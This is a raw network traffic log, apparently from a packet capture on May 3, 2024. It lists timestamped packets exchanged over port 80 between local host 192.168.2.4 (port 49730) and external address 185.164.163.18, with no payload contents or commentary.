May 3, 2024 23:27:17.983777046 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:18.028492928 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:18.028510094 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:18.028525114 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:18.028564930 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:18.077995062 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:18.154453039 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:18.198112011 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:18.198128939 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:18.198229074 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:18.249607086 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:18.249682903 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:18.369189978 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:18.369251013 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:18.369348049 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:18.369363070 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:18.369376898 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:18.369388103 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:18.369406939 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:18.369424105 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:18.420823097 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:18.420902014 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:18.534260035 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:18.534275055 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:18.534316063 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:18.534327984 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:18.578058958 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:18.589231014 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:18.640553951 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:18.703902960 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:18.703948021 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:18.704169989 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:18.745656013 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:18.745672941 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:18.745898008 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:18.807720900 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:18.859312057 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:18.873331070 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:18.873346090 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:18.873615026 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:18.915502071 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:18.915813923 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:18.915867090 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:19.029136896 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:19.029326916 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:19.029480934 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:19.043808937 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:19.043891907 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:19.044054031 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:19.084048986 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:19.084115982 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:19.084254026 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:19.201066017 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:19.201328039 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:19.215555906 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:19.215604067 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:19.255430937 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:19.255462885 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:19.255505085 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:19.255511999 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:19.255512953 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:19.255549908 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:19.371465921 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:19.371532917 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:19.385710955 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:19.385790110 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:19.421636105 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:19.421711922 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:19.424834013 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:19.468610048 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:19.541028023 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:19.555089951 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:19.555154085 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:19.588746071 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:19.633183956 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:19.633241892 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:19.722878933 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:19.722959995 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:19.805442095 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:19.805490017 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:19.805505037 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:19.805562973 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:19.805587053 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:19.889058113 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:19.889305115 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:19.941332102 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:19.941510916 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:19.970928907 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:20.015484095 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:20.059302092 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:20.109224081 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:20.111413002 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:20.156120062 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:20.181693077 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:20.234253883 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:20.276820898 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:20.276838064 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:20.276890039 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:20.324273109 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:20.374866009 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:20.406095028 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:20.447524071 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:20.447590113 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:20.447698116 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:20.499857903 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:20.542817116 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:20.593682051 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:20.612814903 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:20.612960100 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:20.613153934 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:20.666476965 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:20.718653917 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:20.765860081 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:20.784096956 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:20.784267902 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:20.888026953 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:20.888045073 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:20.888217926 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:20.954698086 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:20.954790115 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:20.954792976 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:20.954838991 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:21.060465097 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:21.060554981 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:21.122709990 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:21.122745991 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:21.122786045 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:21.230967045 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:21.281198978 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:21.294761896 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:21.294837952 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:21.295018911 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:21.449778080 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:21.449834108 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:21.461488008 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:21.461503029 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:21.461548090 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:21.616630077 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:21.616709948 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:21.626014948 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:21.671735048 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:21.786043882 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:21.827997923 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:21.839271069 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:21.839334011 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:21.839387894 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:21.996063948 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:22.007354975 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:22.007369041 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:22.007421017 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:22.046741962 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:22.172218084 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:22.172235966 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:22.172385931 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:22.213845968 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:22.265469074 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:22.340150118 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:22.340166092 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:22.340234995 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:22.434859991 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:22.434878111 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:22.434947014 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:22.509828091 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:22.509845018 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:22.509902954 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:22.674433947 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:22.674453020 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:22.674525023 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:22.844166994 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:22.844182968 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:22.844271898 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:23.388335943 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:23.388418913 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:23.553683043 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:23.553792953 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:23.720663071 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:23.720685959 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:23.720768929 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:23.891664028 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:23.891680956 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:23.891746998 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:24.066596985 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:24.066612005 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:24.066618919 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:24.066626072 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:24.066706896 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:24.236313105 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:24.236327887 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:24.236363888 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:24.236377954 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:24.236385107 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:24.236418962 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:24.403657913 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:24.403673887 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:24.403687000 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:24.403750896 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:24.403750896 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:24.403789043 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:24.572338104 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:24.572465897 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:24.572529078 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:24.572587967 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:24.572705984 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:24.572743893 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:24.742036104 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:24.742077112 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:24.742115974 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:24.742147923 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:24.742168903 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:24.742213964 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:24.742238045 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:24.742279053 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:24.912293911 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:24.912312984 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:24.912360907 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:24.912396908 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:24.912398100 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:24.912441969 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:25.079622984 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:25.079642057 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:25.079659939 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:25.079685926 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:25.079737902 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:25.079766989 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:25.249800920 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:25.249816895 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:25.249828100 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:25.249871016 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:25.249885082 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:25.249931097 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:25.249969959 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:25.419182062 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:25.419243097 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:25.419260979 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:25.419320107 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:25.419361115 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:25.419385910 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:25.419517994 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:25.419585943 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:25.419646978 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:25.585383892 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:25.585448027 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:25.585452080 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:25.585544109 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:25.585558891 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:25.585572004 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:25.585589886 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:25.585608959 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:25.755330086 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:25.755372047 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:25.755417109 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:25.755424976 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:25.755431890 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:25.755462885 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:25.755486965 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:25.755538940 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:25.922105074 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:25.922122002 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:25.922166109 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:25.922179937 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:25.922187090 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:25.922235012 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:25.974801064 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:25.974901915 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:26.091877937 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:26.091938972 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:26.092005014 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:26.092108965 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:26.140810966 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:26.145338058 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:26.261909962 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:26.261934042 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:26.261976957 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:26.313335896 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:26.313460112 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:26.432918072 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:26.432940960 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:26.433024883 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:26.478063107 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:26.478132010 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:26.478157997 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:26.478187084 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:26.584369898 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:26.584464073 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:26.646104097 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:26.646125078 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:26.646245003 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:26.756164074 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:26.818242073 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:26.818306923 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:26.987976074 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:26.988003016 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:26.988130093 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:27.157006979 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:27.157033920 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:27.157157898 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:27.328212023 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:27.328495979 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:27.328552008 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:27.328584909 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:27.404601097 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:27.493823051 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:27.493844032 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:27.493920088 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:27.573394060 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:27.573466063 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:27.573529959 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:27.660032034 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:27.660053968 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:27.660125017 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:27.742783070 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:27.742839098 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:27.742906094 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:27.828953028 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:27.829027891 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:27.829125881 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:27.914050102 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:27.968630075 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:27.994812012 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:27.994829893 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:27.994872093 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:27.994889021 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:28.140043974 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:28.140129089 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:28.163522959 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:28.163634062 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:28.308981895 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:28.328314066 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:28.328366041 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:28.496861935 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:28.496877909 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:28.496890068 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:28.496932983 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:28.546732903 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:28.664459944 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:28.664477110 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:28.664531946 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:28.716743946 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:28.717040062 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:28.717088938 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:28.829065084 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:28.829109907 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:28.829298973 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:28.884506941 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:28.884692907 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:28.884742022 CEST	49730	80	192.168.2.4	185.164.163.18
May 3, 2024 23:27:28.994112968 CEST	80	49730	185.164.163.18	192.168.2.4
May 3, 2024 23:27:28.994179964 CEST	80	49730	185.164.163.18	192.168.2.4
